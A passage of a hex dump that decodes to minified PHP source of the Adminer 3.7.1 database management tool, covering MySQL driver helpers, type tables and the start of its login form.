45 22 2C 22 41 46 54 45 52 22 29 2C 22 54 79 70 65 22 3D 3E 61 72 72 61
79 28 22 46 4F 52 20 45 41 43 48 20 52 4F 57 22 29 2C 29 3B 7D 66 75 6E
63 74 69 6F 6E 0A 72 6F 75 74 69 6E 65 28 24 45 2C 24 55 29 7B 67 6C 6F
62 61 6C 24 67 2C 24 50 62 2C 24 4C 63 2C 24 63 67 3B 24 70 61 3D 61 72
72 61 79 28 22 62 6F 6F 6C 22 2C 22 62 6F 6F 6C 65 61 6E 22 2C 22 69 6E
74 65 67 65 72 22 2C 22 64 6F 75 62 6C 65 20 70 72 65 63 69 73 69 6F 6E
22 2C 22 72 65 61 6C 22 2C 22 64 65 63 22 2C 22 6E 75 6D 65 72 69 63 22
2C 22 66 69 78 65 64 22 2C 22 6E 61 74 69 6F 6E 61 6C 20 63 68 61 72 22
2C 22 6E 61 74 69 6F 6E 61 6C 20 76 61 72 63 68 61 72 22 29 3B 24 62 67
3D 22 28 28 22 2E 69 6D 70 6C 6F 64 65 28 22 7C 22 2C 61 72 72 61 79 5F
6D 65 72 67 65 28 61 72 72 61 79 5F 6B 65 79 73 28 24 63 67 29 2C 24 70
61 29 29 2E 22 29 5C 5C 62 28 3F 3A 5C 5C 73 2A 5C 5C 28 28 28 3F 3A 5B
5E 27 5C 22 29 5D 2A 7C 24 50 62 29 2B 29 5C 5C 29 29 3F 5C 5C 73 2A 28
7A 65 72 6F 66 69 6C 6C 5C 5C 73 2A 29 3F 28 75 6E 73 69 67 6E 65 64 28
3F 3A 5C 5C 73 2B 7A 65 72 6F 66 69 6C 6C 29 3F 29 3F 29 28 3F 3A 5C 5C
73 2A 28 3F 3A 43 48 41 52 53 45 54 7C 43 48 41 52 41 43 54 45 52 5C 5C
73 2B 53 45 54 29 5C 5C 73 2A 5B 27 5C 22 5D 3F 28 5B 5E 27 5C 22 5C 5C
73 5D 2B 29 5B 27 5C 22 5D 3F 29 3F 22 3B 24 47 3D 22 5C 5C 73 2A 28 22
2E 28 24 55 3D 3D 22 46 55 4E 43 54 49 4F 4E 22 3F 22 22 3A 24 4C 63 29
2E 22 29 3F 5C 5C 73 2A 28 3F 3A 60 28 28 3F 3A 5B 5E 60 5D 7C 60 60 29
2A 29 60 5C 5C 73 2A 7C 5C 5C 62 28 5C 5C 53 2B 29 5C 5C 73 2B 29 24 62
67 22 3B 24 69 3D 24 67 2D 3E 72 65 73 75 6C 74 28 22 53 48 4F 57 20 43
52 45 41 54 45 20 24 55 20 22 2E 69 64 66 5F 65 73 63 61 70 65 28 24 45
29 2C 32 29 3B 70 72 65 67 5F 6D 61 74 63 68 28 22 7E 5C 5C 28 28 28 3F
3A 24 47 5C 5C 73 2A 2C 3F 29 2A 29 5C 5C 29 5C 5C 73 2A 22 2E 28 24 55
3D 3D 22 46 55 4E 43 54 49 4F 4E 22 3F 22 52 45 54 55 52 4E 53 5C 5C 73
2B 24 62 67 5C 5C 73 2B 22 3A 22 22 29 2E 22 28 2E 2A 29 7E 69 73 22 2C
24 69 2C 24 42 29 3B 24 6E 3D 61 72 72 61 79 28 29 3B 70 72 65 67 5F 6D
61 74 63 68 5F 61 6C 6C 28 22 7E 24 47 5C 5C 73 2A 2C 3F 7E 69 73 22 2C
24 42 5B 31 5D 2C 24 6C 64 2C 50 52 45 47 5F 53 45 54 5F 4F 52 44 45 52
29 3B 66 6F 72 65 61 63 68 28 24 6C 64 0A 61 73 24 66 65 29 7B 24 45 3D
73 74 72 5F 72 65 70 6C 61 63 65 28 22 60 60 22 2C 22 60 22 2C 24 66 65
5B 32 5D 29 2E 24 66 65 5B 33 5D 3B 24 6E 5B 5D 3D 61 72 72 61 79 28 22
66 69 65 6C 64 22 3D 3E 24 45 2C 22 74 79 70 65 22 3D 3E 73 74 72 74 6F
6C 6F 77 65 72 28 24 66 65 5B 35 5D 29 2C 22 6C 65 6E 67 74 68 22 3D 3E
70 72 65 67 5F 72 65 70 6C 61 63 65 5F 63 61 6C 6C 62 61 63 6B 28 22 7E
24 50 62 7E 73 22 2C 27 6E 6F 72 6D 61 6C 69 7A 65 5F 65 6E 75 6D 27 2C
24 66 65 5B 36 5D 29 2C 22 75 6E 73 69 67 6E 65 64 22 3D 3E 73 74 72 74
6F 6C 6F 77 65 72 28 70 72 65 67 5F 72 65 70 6C 61 63 65 28 27 7E 5C 5C
73 2B 7E 27 2C 27 20 27 2C 74 72 69 6D 28 22 24 66 65 5B 38 5D 20 24 66
65 5B 37 5D 22 29 29 29 2C 22 6E 75 6C 6C 22 3D 3E 31 2C 22 66 75 6C 6C
5F 74 79 70 65 22 3D 3E 24 66 65 5B 34 5D 2C 22 69 6E 6F 75 74 22 3D 3E
73 74 72 74 6F 75 70 70 65 72 28 24 66 65 5B 31 5D 29 2C 22 63 6F 6C 6C
61 74 69 6F 6E 22 3D 3E 73 74 72 74 6F 6C 6F 77 65 72 28 24 66 65 5B 39
5D 29 2C 29 3B 7D 69 66 28 24 55 21 3D 22 46 55 4E 43 54 49 4F 4E 22 29
72 65 74 75 72 6E 0A 61 72 72 61 79 28 22 66 69 65 6C 64 73 22 3D 3E 24
6E 2C 22 64 65 66 69 6E 69 74 69 6F 6E 22 3D 3E 24 42 5B 31 31 5D 29 3B
72 65 74 75 72 6E 0A 61 72 72 61 79 28 22 66 69 65 6C 64 73 22 3D 3E 24
6E 2C 22 72 65 74 75 72 6E 73 22 3D 3E 61 72 72 61 79 28 22 74 79 70 65
22 3D 3E 24 42 5B 31 32 5D 2C 22 6C 65 6E 67 74 68 22 3D 3E 24 42 5B 31
33 5D 2C 22 75 6E 73 69 67 6E 65 64 22 3D 3E 24 42 5B 31 35 5D 2C 22 63
6F 6C 6C 61 74 69 6F 6E 22 3D 3E 24 42 5B 31 36 5D 29 2C 22 64 65 66 69
6E 69 74 69 6F 6E 22 3D 3E 24 42 5B 31 37 5D 2C 22 6C 61 6E 67 75 61 67
65 22 3D 3E 22 53 51 4C 22 2C 29 3B 7D 66 75 6E 63 74 69 6F 6E 0A 72 6F
75 74 69 6E 65 73 28 29 7B 72 65 74 75 72 6E 0A 67 65 74 5F 72 6F 77 73
28 22 53 45 4C 45 43 54 20 52 4F 55 54 49 4E 45 5F 4E 41 4D 45 2C 20 52
4F 55 54 49 4E 45 5F 54 59 50 45 2C 20 44 54 44 5F 49 44 45 4E 54 49 46
49 45 52 20 46 52 4F 4D 20 69 6E 66 6F 72 6D 61 74 69 6F 6E 5F 73 63 68
65 6D 61 2E 52 4F 55 54 49 4E 45 53 20 57 48 45 52 45 20 52 4F 55 54 49
4E 45 5F 53 43 48 45 4D 41 20 3D 20 22 2E 71 28 44 42 29 29 3B 7D 66 75
6E 63 74 69 6F 6E 0A 72 6F 75 74 69 6E 65 5F 6C 61 6E 67 75 61 67 65 73
28 29 7B 72 65 74 75 72 6E 0A 61 72 72 61 79 28 29 3B 7D 66 75 6E 63 74
69 6F 6E 0A 62 65 67 69 6E 28 29 7B 72 65 74 75 72 6E 0A 71 75 65 72 69
65 73 28 22 42 45 47 49 4E 22 29 3B 7D 66 75 6E 63 74 69 6F 6E 0A 69 6E
73 65 72 74 5F 69 6E 74 6F 28 24 51 2C 24 50 29 7B 72 65 74 75 72 6E 0A
71 75 65 72 69 65 73 28 22 49 4E 53 45 52 54 20 49 4E 54 4F 20 22 2E 74
61 62 6C 65 28 24 51 29 2E 22 20 28 22 2E 69 6D 70 6C 6F 64 65 28 22 2C
20 22 2C 61 72 72 61 79 5F 6B 65 79 73 28 24 50 29 29 2E 22 29 5C 6E 56
41 4C 55 45 53 20 28 22 2E 69 6D 70 6C 6F 64 65 28 22 2C 20 22 2C 24 50
29 2E 22 29 22 29 3B 7D 66 75 6E 63 74 69 6F 6E 0A 69 6E 73 65 72 74 5F
75 70 64 61 74 65 28 24 51 2C 24 50 2C 24 77 65 29 7B 66 6F 72 65 61 63
68 28 24 50 0A 61 73 24 79 3D 3E 24 58 29 24 50 5B 24 79 5D 3D 22 24 79
20 3D 20 24 58 22 3B 24 6B 67 3D 69 6D 70 6C 6F 64 65 28 22 2C 20 22 2C
24 50 29 3B 72 65 74 75 72 6E 0A 71 75 65 72 69 65 73 28 22 49 4E 53 45
52 54 20 49 4E 54 4F 20 22 2E 74 61 62 6C 65 28 24 51 29 2E 22 20 53 45
54 20 24 6B 67 20 4F 4E 20 44 55 50 4C 49 43 41 54 45 20 4B 45 59 20 55
50 44 41 54 45 20 24 6B 67 22 29 3B 7D 66 75 6E 63 74 69 6F 6E 0A 6C 61
73 74 5F 69 64 28 29 7B 67 6C 6F 62 61 6C 24 67 3B 72 65 74 75 72 6E 24
67 2D 3E 72 65 73 75 6C 74 28 22 53 45 4C 45 43 54 20 4C 41 53 54 5F 49
4E 53 45 52 54 5F 49 44 28 29 22 29 3B 7D 66 75 6E 63 74 69 6F 6E 0A 65
78 70 6C 61 69 6E 28 24 67 2C 24 49 29 7B 72 65 74 75 72 6E 24 67 2D 3E
71 75 65 72 79 28 22 45 58 50 4C 41 49 4E 20 22 2E 28 24 67 2D 3E 73 65
72 76 65 72 5F 69 6E 66 6F 3E 3D 35 2E 31 3F 22 50 41 52 54 49 54 49 4F
4E 53 20 22 3A 22 22 29 2E 24 49 29 3B 7D 66 75 6E 63 74 69 6F 6E 0A 66
6F 75 6E 64 5F 72 6F 77 73 28 24 52 2C 24 5A 29 7B 72 65 74 75 72 6E 28
24 5A 7C 7C 24 52 5B 22 45 6E 67 69 6E 65 22 5D 21 3D 22 49 6E 6E 6F 44
42 22 3F 6E 75 6C 6C 3A 24 52 5B 22 52 6F 77 73 22 5D 29 3B 7D 66 75 6E
63 74 69 6F 6E 0A 74 79 70 65 73 28 29 7B 72 65 74 75 72 6E 0A 61 72 72
61 79 28 29 3B 7D 66 75 6E 63 74 69 6F 6E 0A 73 63 68 65 6D 61 73 28 29
7B 72 65 74 75 72 6E 0A 61 72 72 61 79 28 29 3B 7D 66 75 6E 63 74 69 6F
6E 0A 67 65 74 5F 73 63 68 65 6D 61 28 29 7B 72 65 74 75 72 6E 22 22 3B
7D 66 75 6E 63 74 69 6F 6E 0A 73 65 74 5F 73 63 68 65 6D 61 28 24 61 66
29 7B 72 65 74 75 72 6E 0A 74 72 75 65 3B 7D 66 75 6E 63 74 69 6F 6E 0A
63 72 65 61 74 65 5F 73 71 6C 28 24 51 2C 24 76 61 29 7B 67 6C 6F 62 61
6C 24 67 3B 24 4B 3D 24 67 2D 3E 72 65 73 75 6C 74 28 22 53 48 4F 57 20
43 52 45 41 54 45 20 54 41 42 4C 45 20 22 2E 74 61 62 6C 65 28 24 51 29
2C 31 29 3B 69 66 28 21 24 76 61 29 24 4B 3D 70 72 65 67 5F 72 65 70 6C
61 63 65 28 27 7E 20 41 55 54 4F 5F 49 4E 43 52 45 4D 45 4E 54 3D 5C 5C
64 2B 7E 27 2C 27 27 2C 24 4B 29 3B 72 65 74 75 72 6E 24 4B 3B 7D 66 75
6E 63 74 69 6F 6E 0A 74 72 75 6E 63 61 74 65 5F 73 71 6C 28 24 51 29 7B
72 65 74 75 72 6E 22 54 52 55 4E 43 41 54 45 20 22 2E 74 61 62 6C 65 28
24 51 29 3B 7D 66 75 6E 63 74 69 6F 6E 0A 75 73 65 5F 73 71 6C 28 24 6B
62 29 7B 72 65 74 75 72 6E 22 55 53 45 20 22 2E 69 64 66 5F 65 73 63 61
70 65 28 24 6B 62 29 3B 7D 66 75 6E 63 74 69 6F 6E 0A 74 72 69 67 67 65
72 5F 73 71 6C 28 24 51 2C 24 73 66 29 7B 24 4B 3D 22 22 3B 66 6F 72 65
61 63 68 28 67 65 74 5F 72 6F 77 73 28 22 53 48 4F 57 20 54 52 49 47 47
45 52 53 20 4C 49 4B 45 20 22 2E 71 28 61 64 64 63 73 6C 61 73 68 65 73
28 24 51 2C 22 25 5F 5C 5C 22 29 29 2C 6E 75 6C 6C 2C 22 2D 2D 20 22 29
61 73 24 4C 29 24 4B 2E 3D 22 5C 6E 22 2E 28 24 73 66 3D 3D 27 43 52 45
41 54 45 2B 41 4C 54 45 52 27 3F 22 44 52 4F 50 20 54 52 49 47 47 45 52
20 49 46 20 45 58 49 53 54 53 20 22 2E 69 64 66 5F 65 73 63 61 70 65 28
24 4C 5B 22 54 72 69 67 67 65 72 22 5D 29 2E 22 3B 3B 5C 6E 22 3A 22 22
29 2E 22 43 52 45 41 54 45 20 54 52 49 47 47 45 52 20 22 2E 69 64 66 5F
65 73 63 61 70 65 28 24 4C 5B 22 54 72 69 67 67 65 72 22 5D 29 2E 22 20
24 4C 5B 54 69 6D 69 6E 67 5D 20 24 4C 5B 45 76 65 6E 74 5D 20 4F 4E 20
22 2E 74 61 62 6C 65 28 24 4C 5B 22 54 61 62 6C 65 22 5D 29 2E 22 20 46
4F 52 20 45 41 43 48 20 52 4F 57 5C 6E 24 4C 5B 53 74 61 74 65 6D 65 6E
74 5D 3B 3B 5C 6E 22 3B 72 65 74 75 72 6E 24 4B 3B 7D 66 75 6E 63 74 69
6F 6E 0A 73 68 6F 77 5F 76 61 72 69 61 62 6C 65 73 28 29 7B 72 65 74 75
72 6E 0A 67 65 74 5F 6B 65 79 5F 76 61 6C 73 28 22 53 48 4F 57 20 56 41
52 49 41 42 4C 45 53 22 29 3B 7D 66 75 6E 63 74 69 6F 6E 0A 70 72 6F 63
65 73 73 5F 6C 69 73 74 28 29 7B 72 65 74 75 72 6E 0A 67 65 74 5F 72 6F
77 73 28 22 53 48 4F 57 20 46 55 4C 4C 20 50 52 4F 43 45 53 53 4C 49 53
54 22 29 3B 7D 66 75 6E 63 74 69 6F 6E 0A 73 68 6F 77 5F 73 74 61 74 75
73 28 29 7B 72 65 74 75 72 6E 0A 67 65 74 5F 6B 65 79 5F 76 61 6C 73 28
22 53 48 4F 57 20 53 54 41 54 55 53 22 29 3B 7D 66 75 6E 63 74 69 6F 6E
0A 63 6F 6E 76 65 72 74 5F 66 69 65 6C 64 28 24 6D 29 7B 69 66 28 65 72
65 67 28 22 62 69 6E 61 72 79 22 2C 24 6D 5B 22 74 79 70 65 22 5D 29 29
72 65 74 75 72 6E 22 48 45 58 28 22 2E 69 64 66 5F 65 73 63 61 70 65 28
24 6D 5B 22 66 69 65 6C 64 22 5D 29 2E 22 29 22 3B 69 66 28 24 6D 5B 22
74 79 70 65 22 5D 3D 3D 22 62 69 74 22 29 72 65 74 75 72 6E 22 42 49 4E
28 22 2E 69 64 66 5F 65 73 63 61 70 65 28 24 6D 5B 22 66 69 65 6C 64 22
5D 29 2E 22 20 2B 20 30 29 22 3B 69 66 28 65 72 65 67 28 22 67 65 6F 6D
65 74 72 79 7C 70 6F 69 6E 74 7C 6C 69 6E 65 73 74 72 69 6E 67 7C 70 6F
6C 79 67 6F 6E 22 2C 24 6D 5B 22 74 79 70 65 22 5D 29 29 72 65 74 75 72
6E 22 41 73 57 4B 54 28 22 2E 69 64 66 5F 65 73 63 61 70 65 28 24 6D 5B
22 66 69 65 6C 64 22 5D 29 2E 22 29 22 3B 7D 66 75 6E 63 74 69 6F 6E 0A
75 6E 63 6F 6E 76 65 72 74 5F 66 69 65 6C 64 28 24 6D 2C 24 4B 29 7B 69
66 28 65 72 65 67 28 22 62 69 6E 61 72 79 22 2C 24 6D 5B 22 74 79 70 65
22 5D 29 29 24 4B 3D 22 55 4E 48 45 58 28 24 4B 29 22 3B 69 66 28 24 6D
5B 22 74 79 70 65 22 5D 3D 3D 22 62 69 74 22 29 24 4B 3D 22 43 4F 4E 56
28 24 4B 2C 20 32 2C 20 31 30 29 20 2B 20 30 22 3B 69 66 28 65 72 65 67
28 22 67 65 6F 6D 65 74 72 79 7C 70 6F 69 6E 74 7C 6C 69 6E 65 73 74 72
69 6E 67 7C 70 6F 6C 79 67 6F 6E 22 2C 24 6D 5B 22 74 79 70 65 22 5D 29
29 24 4B 3D 22 47 65 6F 6D 46 72 6F 6D 54 65 78 74 28 24 4B 29 22 3B 72
65 74 75 72 6E 24 4B 3B 7D 66 75 6E 63 74 69 6F 6E 0A 73 75 70 70 6F 72
74 28 24 66 63 29 7B 67 6C 6F 62 61 6C 24 67 3B 72 65 74 75 72 6E 21 65
72 65 67 28 22 73 63 68 65 6D 65 7C 73 65 71 75 65 6E 63 65 7C 74 79 70
65 22 2E 28 24 67 2D 3E 73 65 72 76 65 72 5F 69 6E 66 6F 3C 35 2E 31 3F
22 7C 65 76 65 6E 74 7C 70 61 72 74 69 74 69 6F 6E 69 6E 67 22 2E 28 24
67 2D 3E 73 65 72 76 65 72 5F 69 6E 66 6F 3C 35 3F 22 7C 76 69 65 77 7C
72 6F 75 74 69 6E 65 7C 74 72 69 67 67 65 72 22 3A 22 22 29 3A 22 22 29
2C 24 66 63 29 3B 7D 24 78 3D 22 73 71 6C 22 3B 24 63 67 3D 61 72 72 61
79 28 29 3B 24 72 66 3D 61 72 72 61 79 28 29 3B 66 6F 72 65 61 63 68 28
61 72 72 61 79 28 27 4E 75 6D 62 65 72 73 27 3D 3E 61 72 72 61 79 28 22
74 69 6E 79 69 6E 74 22 3D 3E 33 2C 22 73 6D 61 6C 6C 69 6E 74 22 3D 3E
35 2C 22 6D 65 64 69 75 6D 69 6E 74 22 3D 3E 38 2C 22 69 6E 74 22 3D 3E
31 30 2C 22 62 69 67 69 6E 74 22 3D 3E 32 30 2C 22 64 65 63 69 6D 61 6C
22 3D 3E 36 36 2C 22 66 6C 6F 61 74 22 3D 3E 31 32 2C 22 64 6F 75 62 6C
65 22 3D 3E 32 31 29 2C 27 44 61 74 65 20 61 6E 64 20 74 69 6D 65 27 3D
3E 61 72 72 61 79 28 22 64 61 74 65 22 3D 3E 31 30 2C 22 64 61 74 65 74
69 6D 65 22 3D 3E 31 39 2C 22 74 69 6D 65 73 74 61 6D 70 22 3D 3E 31 39
2C 22 74 69 6D 65 22 3D 3E 31 30 2C 22 79 65 61 72 22 3D 3E 34 29 2C 27
53 74 72 69 6E 67 73 27 3D 3E 61 72 72 61 79 28 22 63 68 61 72 22 3D 3E
32 35 35 2C 22 76 61 72 63 68 61 72 22 3D 3E 36 35 35 33 35 2C 22 74 69
6E 79 74 65 78 74 22 3D 3E 32 35 35 2C 22 74 65 78 74 22 3D 3E 36 35 35
33 35 2C 22 6D 65 64 69 75 6D 74 65 78 74 22 3D 3E 31 36 37 37 37 32 31
35 2C 22 6C 6F 6E 67 74 65 78 74 22 3D 3E 34 32 39 34 39 36 37 32 39 35
29 2C 27 4C 69 73 74 73 27 3D 3E 61 72 72 61 79 28 22 65 6E 75 6D 22 3D
3E 36 35 35 33 35 2C 22 73 65 74 22 3D 3E 36 34 29 2C 27 42 69 6E 61 72
79 27 3D 3E 61 72 72 61 79 28 22 62 69 74 22 3D 3E 32 30 2C 22 62 69 6E
61 72 79 22 3D 3E 32 35 35 2C 22 76 61 72 62 69 6E 61 72 79 22 3D 3E 36
35 35 33 35 2C 22 74 69 6E 79 62 6C 6F 62 22 3D 3E 32 35 35 2C 22 62 6C
6F 62 22 3D 3E 36 35 35 33 35 2C 22 6D 65 64 69 75 6D 62 6C 6F 62 22 3D
3E 31 36 37 37 37 32 31 35 2C 22 6C 6F 6E 67 62 6C 6F 62 22 3D 3E 34 32
39 34 39 36 37 32 39 35 29 2C 27 47 65 6F 6D 65 74 72 79 27 3D 3E 61 72
72 61 79 28 22 67 65 6F 6D 65 74 72 79 22 3D 3E 30 2C 22 70 6F 69 6E 74
22 3D 3E 30 2C 22 6C 69 6E 65 73 74 72 69 6E 67 22 3D 3E 30 2C 22 70 6F
6C 79 67 6F 6E 22 3D 3E 30 2C 22 6D 75 6C 74 69 70 6F 69 6E 74 22 3D 3E
30 2C 22 6D 75 6C 74 69 6C 69 6E 65 73 74 72 69 6E 67 22 3D 3E 30 2C 22
6D 75 6C 74 69 70 6F 6C 79 67 6F 6E 22 3D 3E 30 2C 22 67 65 6F 6D 65 74
72 79 63 6F 6C 6C 65 63 74 69 6F 6E 22 3D 3E 30 29 2C 29 61 73 24 79 3D
3E 24 58 29 7B 24 63 67 2B 3D 24 58 3B 24 72 66 5B 24 79 5D 3D 61 72 72
61 79 5F 6B 65 79 73 28 24 58 29 3B 7D 24 6A 67 3D 61 72 72 61 79 28 22
75 6E 73 69 67 6E 65 64 22 2C 22 7A 65 72 6F 66 69 6C 6C 22 2C 22 75 6E
73 69 67 6E 65 64 20 7A 65 72 6F 66 69 6C 6C 22 29 3B 24 53 64 3D 61 72
72 61 79 28 22 3D 22 2C 22 3C 22 2C 22 3E 22 2C 22 3C 3D 22 2C 22 3E 3D
22 2C 22 21 3D 22 2C 22 4C 49 4B 45 22 2C 22 4C 49 4B 45 20 25 25 22 2C
22 52 45 47 45 58 50 22 2C 22 49 4E 22 2C 22 49 53 20 4E 55 4C 4C 22 2C
22 4E 4F 54 20 4C 49 4B 45 22 2C 22 4E 4F 54 20 52 45 47 45 58 50 22 2C
22 4E 4F 54 20 49 4E 22 2C 22 49 53 20 4E 4F 54 20 4E 55 4C 4C 22 2C 22
53 51 4C 22 29 3B 24 76 63 3D 61 72 72 61 79 28 22 63 68 61 72 5F 6C 65
6E 67 74 68 22 2C 22 64 61 74 65 22 2C 22 66 72 6F 6D 5F 75 6E 69 78 74
69 6D 65 22 2C 22 6C 6F 77 65 72 22 2C 22 72 6F 75 6E 64 22 2C 22 73 65
63 5F 74 6F 5F 74 69 6D 65 22 2C 22 74 69 6D 65 5F 74 6F 5F 73 65 63 22
2C 22 75 70 70 65 72 22 29 3B 24 7A 63 3D 61 72 72 61 79 28 22 61 76 67
22 2C 22 63 6F 75 6E 74 22 2C 22 63 6F 75 6E 74 20 64 69 73 74 69 6E 63
74 22 2C 22 67 72 6F 75 70 5F 63 6F 6E 63 61 74 22 2C 22 6D 61 78 22 2C
22 6D 69 6E 22 2C 22 73 75 6D 22 29 3B 24 46 62 3D 61 72 72 61 79 28 61
72 72 61 79 28 22 63 68 61 72 22 3D 3E 22 6D 64 35 2F 73 68 61 31 2F 70
61 73 73 77 6F 72 64 2F 65 6E 63 72 79 70 74 2F 75 75 69 64 22 2C 22 62
69 6E 61 72 79 22 3D 3E 22 6D 64 35 2F 73 68 61 31 22 2C 22 64 61 74 65
7C 74 69 6D 65 22 3D 3E 22 6E 6F 77 22 2C 29 2C 61 72 72 61 79 28 22 28
5E 7C 5B 5E 6F 5D 29 69 6E 74 7C 66 6C 6F 61 74 7C 64 6F 75 62 6C 65 7C
64 65 63 69 6D 61 6C 22 3D 3E 22 2B 2F 2D 22 2C 22 64 61 74 65 22 3D 3E
22 2B 20 69 6E 74 65 72 76 61 6C 2F 2D 20 69 6E 74 65 72 76 61 6C 22 2C
22 74 69 6D 65 22 3D 3E 22 61 64 64 74 69 6D 65 2F 73 75 62 74 69 6D 65
22 2C 22 63 68 61 72 7C 74 65 78 74 22 3D 3E 22 63 6F 6E 63 61 74 22 2C
29 29 3B 7D 64 65 66 69 6E 65 28 22 53 45 52 56 45 52 22 2C 24 5F 47 45
54 5B 44 52 49 56 45 52 5D 29 3B 64 65 66 69 6E 65 28 22 44 42 22 2C 24
5F 47 45 54 5B 22 64 62 22 5D 29 3B 64 65 66 69 6E 65 28 22 4D 45 22 2C
70 72 65 67 5F 72 65 70 6C 61 63 65 28 27 7E 5E 5B 5E 3F 5D 2A 2F 28 5B
5E 3F 5D 2A 29 2E 2A 7E 27 2C 27 5C 5C 31 27 2C 24 5F 53 45 52 56 45 52
5B 22 52 45 51 55 45 53 54 5F 55 52 49 22 5D 29 2E 27 3F 27 2E 28 73 69
64 28 29 3F 53 49 44 2E 27 26 27 3A 27 27 29 2E 28 53 45 52 56 45 52 21
3D 3D 6E 75 6C 6C 3F 44 52 49 56 45 52 2E 22 3D 22 2E 75 72 6C 65 6E 63
6F 64 65 28 53 45 52 56 45 52 29 2E 27 26 27 3A 27 27 29 2E 28 69 73 73
65 74 28 24 5F 47 45 54 5B 22 75 73 65 72 6E 61 6D 65 22 5D 29 3F 22 75
73 65 72 6E 61 6D 65 3D 22 2E 75 72 6C 65 6E 63 6F 64 65 28 24 5F 47 45
54 5B 22 75 73 65 72 6E 61 6D 65 22 5D 29 2E 27 26 27 3A 27 27 29 2E 28
44 42 21 3D 22 22 3F 27 64 62 3D 27 2E 75 72 6C 65 6E 63 6F 64 65 28 44
42 29 2E 27 26 27 2E 28 69 73 73 65 74 28 24 5F 47 45 54 5B 22 6E 73 22
5D 29 3F 22 6E 73 3D 22 2E 75 72 6C 65 6E 63 6F 64 65 28 24 5F 47 45 54
5B 22 6E 73 22 5D 29 2E 22 26 22 3A 22 22 29 3A 27 27 29 29 3B 24 67 61
3D 22 33 2E 37 2E 31 22 3B 63 6C 61 73 73 0A 41 64 6D 69 6E 65 72 7B 76
61 72 24 6F 70 65 72 61 74 6F 72 73 3B 66 75 6E 63 74 69 6F 6E 0A 6E 61
6D 65 28 29 7B 72 65 74 75 72 6E 22 3C 61 20 68 72 65 66 3D 27 68 74 74
70 3A 2F 2F 77 77 77 2E 61 64 6D 69 6E 65 72 2E 6F 72 67 2F 27 20 69 64
3D 27 68 31 27 3E 41 64 6D 69 6E 65 72 3C 2F 61 3E 22 3B 7D 66 75 6E 63
74 69 6F 6E 0A 63 72 65 64 65 6E 74 69 61 6C 73 28 29 7B 72 65 74 75 72
6E 0A 61 72 72 61 79 28 53 45 52 56 45 52 2C 24 5F 47 45 54 5B 22 75 73
65 72 6E 61 6D 65 22 5D 2C 67 65 74 5F 73 65 73 73 69 6F 6E 28 22 70 77
64 73 22 29 29 3B 7D 66 75 6E 63 74 69 6F 6E 0A 70 65 72 6D 61 6E 65 6E
74 4C 6F 67 69 6E 28 24 69 3D 66 61 6C 73 65 29 7B 72 65 74 75 72 6E 0A
70 61 73 73 77 6F 72 64 5F 66 69 6C 65 28 24 69 29 3B 7D 66 75 6E 63 74
69 6F 6E 0A 64 61 74 61 62 61 73 65 28 29 7B 72 65 74 75 72 6E 0A 44 42
3B 7D 66 75 6E 63 74 69 6F 6E 0A 64 61 74 61 62 61 73 65 73 28 24 6C 63
3D 74 72 75 65 29 7B 72 65 74 75 72 6E 0A 67 65 74 5F 64 61 74 61 62 61
73 65 73 28 24 6C 63 29 3B 7D 66 75 6E 63 74 69 6F 6E 0A 71 75 65 72 79
54 69 6D 65 6F 75 74 28 29 7B 72 65 74 75 72 6E 0A 35 3B 7D 66 75 6E 63
74 69 6F 6E 0A 68 65 61 64 65 72 73 28 29 7B 72 65 74 75 72 6E 0A 74 72
75 65 3B 7D 66 75 6E 63 74 69 6F 6E 0A 68 65 61 64 28 29 7B 72 65 74 75
72 6E 0A 74 72 75 65 3B 7D 66 75 6E 63 74 69 6F 6E 0A 6C 6F 67 69 6E 46
6F 72 6D 28 29 7B 67 6C 6F 62 61 6C 24 7A 62 3B 65 63 68 6F 27 3C 74 61
62 6C 65 20 63 65 6C 6C 73 70 61 63 69 6E 67 3D 22 30 22 3E 0A 3C 74 72
3E 3C 74 68 3E 53 79 73 74 65 6D 3C 74 64 3E 27 2C 68 74 6D 6C 5F 73 65
6C 65 63 74 28 22 61 75 74 68 5B 64 72 69 76 65 72 5D 22 2C 24 7A 62 2C
44 52 49 56 45 52 2C 22 6C 6F 67 69 6E 44 72 69 76 65 72 28 74 68 69 73
29 3B 22 29 2C 27 3C 74 72 3E 3C 74 68 3E 53 65 72 76 65 72 3C 74 64 3E
3C 69 6E 70 75 74 20 6E 61 6D 65 3D 22 61 75 74 68 5B 73 65 72 76 65 72
5D 22 20 76 61 6C 75 65 3D 22 27 2C 68 28 53 45 52 56 45 52 29 2C 27 22
20 74 69 74 6C 65 3D 22 68 6F 73 74 6E 61 6D 65 5B 3A 70 6F 72 74 5D 22
20 70 6C 61 63 65 68 6F 6C 64 65 72 3D 22 6C 6F 63 61 6C 68 6F 73 74 22
20 61 75 74 6F 63 61 70 69 74 61 6C 69 7A 65 3D 22 6F 66 66 22 3E 0A 3C
74 72 3E 3C 74 68 3E 55 73 65 72 6E 61 6D 65 3C 74 64 3E 3C 69 6E 70 75
74 20 6E 61 6D 65 3D 22 61 75 74 68 5B 75 73 65 72 6E 61 6D 65 5D 22 20
69 64 3D 22 75 73 65 72 6E 61 6D 65 22 20 76 61 6C 75 65 3D 22 27 2C 68
28 24 5F 47 45 54 5B 22 75 73 65 72 6E 61 6D 65 22 5D 29 2C 27 22 20 61
75 74 6F 63 61 70 69 74 61 6C 69 7A 65 3D 22 6F 66 66 22 3E 0A 3C 74 72
3E 3C 74 68 3E 50 61 73 73 77 6F 72 64 3C 74 64 3E 3C 69 6E 70 75 74 20
74 79 70 65 3D 22 70 61 73 73 77 6F 72 64 22 20 6E 61 6D 65 3D 22 61 75
74 68 5B 70 61 73 73 77 6F 72 64 5D 22 3E 0A 3C 74 72 3E 3C 74 68 3E 44
61 74 61 62 61 73 65 3C 74 64 3E 3C 69 6E 70 75 74 20 6E 61 6D 65 3D 22
61 75 74 68 5B 64 62 5D 22 20 76 61 6C 75 65 3D 22 27 2C 68 28 24 5F 47
45 54 5B 22 64 62 22 5D 29 3B 3F 3E 22 20 61 75 74 6F 63 61 70 69 74 61
6C 69 7A 65 3D 22 6F 66 66 22 3E 0A 3C 2F 74 61 62 6C 65 3E 0A 3C 73 63
72 69 70 74 20 74 79 70 65 3D 22 74 65 78 74 2F 6A 61 76 61 73 63 72 69
70 74 22 3E 0A 76 61 72 20 75 73 65 72 6E 61 6D 65 20 3D 20 64 6F 63 75
6D 65 6E 74 2E 67 65 74 45 6C 65 6D 65 6E 74 42 79 49 64 28 27 75 73 65
72 6E 61 6D 65 27 29 3B 0A 66 6F 63 75 73 28 75 73 65 72 6E 61 6D 65 29
